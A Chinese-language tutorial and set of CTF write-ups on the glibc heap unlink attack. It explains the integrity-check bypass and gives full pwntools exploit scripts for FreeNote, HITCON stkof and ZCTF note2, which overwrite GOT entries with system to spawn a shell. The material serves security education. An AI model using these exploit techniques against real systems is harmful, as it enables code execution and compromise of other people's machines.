原理
Unlink
当使用 free() 函数释放一块内存时,堆管理器(ptmalloc)会检查其物理相邻的堆块(chunk)是否空闲,如果空闲,则需要将其从所在的 bin (small bins)中释放出来,与当前 free 的 chunk 进行合并,合并之后,再插入到 unsorted bins 中。
在这个过程中,unlink的作用就是释放空闲堆块****,将其从双向链表中脱链。这其中,如果我们可以构造物理相邻的 chunk,那么就有可能造成任意地址写。但是在进行这个操作时会对要被unlink的chunk进行一个检查,可以称之为双链表完整性检查,关键源代码如下
双链表完整性检查
1 2 3 4 5
| FD = P -> fd; BK = P -> bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr ("corrupted double-linked list");
|
上面的意思也就是在unlink前,首先要获取P的fd指针和bk指针分别记作FD、BK,在unlink时需要使要被free的chunk(P)
的前一个chunk(FD)
的bk指针和这个chunk的后chunk(BK)
的fd指针指向这个即将free的chunk(P)
才可以执行。
Unlink-Attack
绕过方法
面对上面的检查,我们只需要将P->fd 置为P-0x18
、P->bk = P-0x10
即可
因为一个双链表结构的chunk 从开始位置的prev_size
到fd指针和bk指针
的距离分别是0x10
和0x18
,而我们可以在chunk中伪造一个被free的chunk,使其P->fd = P-0x18
、P->bk = P-0x10
,之后当进行unlink操作时,当到源码
1 2
| FD = P -> fd; BK = P -> bk;
|
这一步骤时,便将我们伪造的fd和bk给传进了FD和BK之中,最后在
1
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
|
进行校验的时候,FD->bk 就等于 P-0x10 -> bk
,而P-0x10
的bk也就等于P的地址,BK->fd同理,从而通过校验。
上面过程完成后,再看此时的堆空间,原本的BK->fd将会覆盖掉P的起始位置,然后再来看源代码中的这一段
1 2
| FD->fd = BK; BK->bk = FD;
|
这一操作将直接导致P的位置将指向FD这个地址,而FD的地址是什么,是P-0x18
,这将意味着chunk0将指向P-0x18,所以到这里便可以直接利用程序中的增删改查功能对这以后的数据进行修改。
利用条件
- 每个堆块的指针位置必须相邻
- 可以申请大于
0x80
的堆块
- 可以控制某一堆块的
pre_size
位或控制一块free状态的fd
和bk
指针
利用过程
分配两个堆块
大小超过 80 个字节,因为小于 80 字节是 fast bins,其为单向链表,无法利用 unlink。第 1 个 chunk 是需要 unlink 的,第 2 个 chunk 是用来 free 的。
伪造堆块
伪造第 1 个 chunk 的 FD 和 BK,FD = &ptr0 - 0x18
,BK = &ptr0 - 0x10
绕过检查
glibc 会检查当前的堆块前后逻辑相邻的堆块是否是伪造的,FD->bk == BK->fd == P
,
即 *(FD + 0x18 * size(t)) = p
当满足以下条件,即可绕过检查:fd = &p - 0x18 \* size(int)
;bk = &p - 0x10 \* size(int)
释放 chunk2
促使 chunk1 发生 unlink
例题
FreeNote
程序分析
使用IDA打开分析反汇编代码
可以看到首先是在程序的开始处先分配了一个0x1810
大小的空间,用来存放后面的note索引
其次在new函数中,note内容的大小是0x80的倍数,不足0x80的按0x80对齐。
Sub_40085D
中也就是read时由于没有在末尾追加"\x00"
所以这里可以用来泄露一些地址
其次就是存储note的结构体,可以结合动态调试查看heap内存储的note结构体信息,大致为
有效位(表示是否被分配)
|长度
|索引地址
再看delete函数
首先是第12、13行处,对其进行清零,但没有先对其进行检查,这就导致Double Free漏洞,从而可以多次free某个堆块
利用过程
先利用read读取数据时未在末尾进行截断,来泄露libc地址和堆地址
具体步骤和上面类似,这里要申请5个堆块,不过我们分别要free掉chunk_1
和chunk_3
在我们free掉第一个堆块时,由于这个堆块是0x80大小故不符合fastbin的标准,所以将被放在unsortedbins中,而此时被free的chunk_1的fd和bk指针则是main_arena+88
的地址
但这只是第一次free,且仅泄露出了marin_arena的地址,所以我们继续下一次的free
可以看到由于双向链表的原因,两块bins的fd和bk都互相指向对方,且都有一个main_arena的地址,这时候我们只要再次申请堆块,并覆盖掉红框内的数据,之后通过打印功能便能直接输出堆块的地址和main_arena的地址
不过需要注意此时泄露出的堆块地址是chunk_2的地址距离堆的起始地址还有一段固定的偏移,计算一下就能得出
此时由于chunk_1被free掉的原因,我们则可以通过扩充chunk_0来依次带出这两个地址
通过unlink控制chunk_1来覆写got表
通过edit功能在chunk_0中伪造chunk0
和chunk1
(这里要注意整体的大小及伪造的chunk大小)
删除chunk_1,触发unlink使chunk_0脱链,使得chunk_0的内容落在&(chunk_0-0x18)的位置
修改此时的chunk_0,将chunk_1的地址指向free的got表地址,并留出**chunk_2用来存放”/bin/sh”**(同样要注意整体的payload大小在0x100)
修改chunk_1将此时free_got表地址的指向system
修改chunk_2将内容设置为”/bin/sh”
删除chunk_2触发system("/bin/sh")
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from pwn import * import os from one_gadget import generate_one_gadget
context.terminal = ['tmux', 'splitw',"-h"] context.log_level = "debug" sh = process("./freenote_x64") elf = ELF("./freenote_x64") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def show(): sh.recvuntil("Your choice: ") sh.sendline("1") def add(size,note): sh.recvuntil("Your choice: ") sh.sendline("2") sh.recvuntil("Length of new note: ") sh.sendline(str(size)) sh.recvuntil("Enter your note: ") sh.send(note) def edit(idx,size,note): sh.recvuntil("Your choice: ") sh.sendline("3") sh.recvuntil("Note number: ") sh.sendline(idx) sh.recvuntil("Length of note: ") sh.sendline(str(size)) sh.recvuntil("Enter your note: ") sh.send(note) def remove(idx): sh.recvuntil("Your choice: ") sh.sendline("4") sh.recvuntil("Note number: ") sh.sendline(idx)
add(8,"a"*0x8) add(8,"b"*0x8) add(8,"c"*0x8) add(8,"d"*0x8) add(8,"e"*0x8)
remove("3")
remove("1")
edit("0",0x90,"f"*(0x80+0x10))
show() sh.recvuntil("f"*0x90) heap = u32(sh.recv(4).ljust(4,"\x00")) - 0x19d0
edit("0",0x98,"g"*(0x80+0x18)) show() sh.recvuntil("g"*0x98) main_arena88 = u64(sh.recv(6).ljust(8,"\x00")) libc_base = main_arena88 - 0x3c4b78
log.progress("Leak Addr...") free_got = elf.got['free'] system_addr = libc.sym['system']+libc_base success("system_addr => 0x%x",system_addr) success("free_got => 0x%x",free_got) success("heap_addr => 0x%x",heap) success("main_arena88 => 0x%x",main_arena88) success("libc_base => 0x%x",libc_base)
payload = p64(0)+p64(0x80) payload += p64(heap + 0x30 - 0x18)+p64(heap + 0x30 - 0x10)
payload += cyclic(0x60) payload += p64(0x80)+p64(0x90)
payload += cyclic(0x70) edit("0",0x100,payload) remove("1")
payload2 = p64(3) payload2 += p64(1)+p64(0x80) payload2 += p64(heap+0x30)+p64(1) payload2 += p64(8)+p64(free_got) payload2 += p64(1)+p64(8) payload2 += p64(heap+0x90)+"a"*0xb0 edit("0",0x100,payload2) edit("1",0x8,p64(system_addr)) edit("2",0x8,"/bin/sh\x00") remove("2")
sh.interactive()
|
2014_HITCON_stkof
程序分析
程序大概分为三个功能,malloc\edit\free
其中malloc时,会将堆块的地址保存在bss段中
而edit功能并未限制读取内容的大小,这意味着可以利用一个堆块来影响后面的堆块,为后续的unlink做准备
free功能只清除堆块的指针,而不清除堆块的内容
利用思路
首先构造堆块触发unlink使PTR指向(PTR-0x18),从而控制bss段的内容
之后再bss段中将各个堆块的指针覆盖为free、atoi、puts的got表地址
之后利用覆盖free的got表内容为puts函数,来打印出puts函数的地址
最后得到libc后,通过覆盖atoi的got表内容为system,然后传入/bin/sh的地址取得shell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| import sys from pwn import * from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"]
def ProLoc(elf_addr,libc_addr,pro_libc): global sh,elf,libc,one_ggs if len(sys.argv) > 1 : ip = sys.argv[1] prot = sys.argv[2] sh = remote(ip,prot) libc = ELF(pro_libc) one_ggs = one_gadget(libc_addr) else: sh = process(elf_addr) libc = ELF(libc_addr) elf = ELF(elf_addr)
def debug(cmd=""): if len(sys.argv) == 1: log.progress("Loading Debug....") gdb.attach(sh,cmd)
def one_gadget(libc_addr): log.progress("Leak One_Gadgets...") path_to_libc=libc_addr gadget =[] for offset in generate_one_gadget(path_to_libc): gadget.append(int(offset)) return gadget
def exp(): def alloc(size): sh.sendline('1') sh.sendline(str(size)) sh.recvuntil('OK\n') def edit(idx, size, content): sh.sendline('2') sh.sendline(str(idx)) sh.sendline(str(size)) sh.send(content) sh.recvuntil('OK\n') def free(idx): sh.sendline('3') sh.sendline(str(idx))
heap_bss = 0x602140
alloc(0x1) alloc(0x30) alloc(0x80) payload = p64(0) + p64(0x20) payload += p64(heap_bss+0x10-0x18) + p64(heap_bss+0x10-0x10) payload += p64(0x20) + "a"*0x8 payload += p64(0x30) + p64(0x90) edit(2,0x40,payload) free(3) free_got = elf.got["free"] puts_got = elf.got["puts"] atoi_got = elf.got["atoi"] puts_plt = elf.plt["puts"] success("free_got => 0x%x",free_got) payload2 = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got) edit(2,len(payload2),payload2) edit(0,0x8,p64(puts_plt)) free(1) sh.recvuntil("OK\n") puts_addr = u64(sh.recvuntil("OK\n",drop=True)[:6].ljust(8,"\x00")) success("puts_addr => 0x%x",puts_addr) libc_base = puts_addr - libc.sym["puts"] success("libc_base => 0x%x",libc_base) system = libc_base + libc.sym["system"] edit(2,0x8,p64(system)) sh.send("/bin/sh\x00") sh.interactive() if __name__=="__main__": elf_addr = "./stkof" libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" pro_libc = "" ProLoc(elf_addr,libc_addr,pro_libc) exp()
|
2016_zctf_note2
程序分析
程序总共有增删改查四个功能
其中add函数中的malloc最大只能在0x80之间,且会将堆块的指针保存在bss段中,用于索引
而后面的在读取我们输入的堆块大小和内容的部分中,有个sub_4009bd函数,这其中a2是前面输入的堆块大小,而在第9行a2-1中,如果我们将a2设置为0,则在a2-1时将等于一个有符号的-1,而之后在与i比较大小的时候,会将有符号的-1转换为无符号的类型,其值也将变成无符号数的最大值。而虽然glibc的规定,最小的堆块也要是0x20大小,但是我们却仍然可以输入任意长度的数据到这个堆块中,甚至覆盖后面的堆块内容
利用思路
创建a\b\c三个堆块,a和c都是0x80大小,b设置为0大小
在堆块a中伪造ptr-0x18和ptr-0x10指针,构造unlink。再利用b堆块写入任意长度的功能修改c堆块的pre_size值,最后形成在a堆块中包含两个伪造的堆块。最后free掉c堆块,使其向低地址的0x20的堆块合并,然后触发unlink,使a堆块的指针指向a-0x18的位置。最后再修改a的内容,将a指向atoi函数,先读出atoi的got表内容再覆写其got表为system
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| import sys from pwn import * from one_gadget import generate_one_gadget
context.terminal = ["tmux","new-window"] context.log_level = "debug"
def ProLoc(elf_addr,libc_addr,pro_libc): global sh,elf,libc,one_ggs if len(sys.argv) > 1 : ip = sys.argv[1] prot = sys.argv[2] sh = remote(ip,prot) libc = ELF(pro_libc) one_ggs = one_gadget(libc_addr) else: sh = process(elf_addr) libc = ELF(libc_addr) elf = ELF(elf_addr)
def debug(cmd=""): if len(sys.argv) == 1: log.progress("Loading Debug....") gdb.attach(sh,cmd)
def shell_code(fw): if fw == 32: return asm(shellcraft.sh()) elif fw == 64: return asm(shellcraft.amd64.linux.sh())
def one_gadget(libc_addr): log.progress("Leak One_Gadgets...") path_to_libc=libc_addr gadget =[] for offset in generate_one_gadget(path_to_libc): gadget.append(int(offset)) return gadget
def exp(): def add(length, content): sh.recvuntil('option--->>') sh.sendline('1') sh.recvuntil('(less than 128)') sh.sendline(str(length)) sh.recvuntil('content:') sh.sendline(content) def show(id): sh.recvuntil('option--->>') sh.sendline('2') sh.recvuntil('note:') sh.sendline(str(id)) def edit(id, choice, s): sh.recvuntil('option--->>') sh.sendline('3') sh.recvuntil('note:') sh.sendline(str(id)) sh.recvuntil('2.append]') sh.sendline(str(choice)) sh.sendline(s) def dele(id): sh.recvuntil('option--->>') sh.sendline('4') sh.recvuntil('note:') sh.sendline(str(id)) sh.recvuntil("name:\n") sh.sendline("da1sy") sh.recvuntil("address:\n") sh.sendline("DA1SY")
ptr = 0x0000000000602120 payload1 = 'a'*8 + p64(0x61) payload1 += p64(ptr - 0x18) + p64(ptr - 0x10) payload1 += 'b' * 64 payload1 += p64(0x60) add(0x80,payload1) add(0, 'a' * 8) add(0x80, 'b' * 16) dele(1) add(0,'a' * 0x10 + p64(0xa0) + p64(0x90)) dele(2) payload2 = "a"*0x18 payload2 += p64(elf.got["atoi"]) edit(0,1,payload2) show(0) sh.recvuntil("is ") atoi_addr = u64(sh.recvuntil("\x7f")[:6].ljust(8,"\x00")) libc_base = atoi_addr - libc.sym["atoi"] success("libc_addr => 0x%x",libc_base) system = libc_base + libc.sym["system"] success("system_addr => 0x%x",system) edit(0,1,p64(system)) sh.recvuntil('option--->>') sh.sendline('/bin/sh')
sh.interactive() if __name__=="__main__": elf_addr = "./note2" libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" pro_libc = "" ProLoc(elf_addr,libc_addr,pro_libc) exp()
|
https://blog.csdn.net/Breeze_CAT/article/details/100427158
https://zhuanlan.zhihu.com/p/163690431
https://cloud.tencent.com/developer/article/1557872
https://www.cnblogs.com/0xJDchen/p/6195919.html
https://blog.csdn.net/sinat_29447759/article/details/79304236
https://blog.csdn.net/seaaseesa/article/details/105589526
https://bbs.pediy.com/thread-226287.htm
https://blog.csdn.net/song_lee/article/details/107028002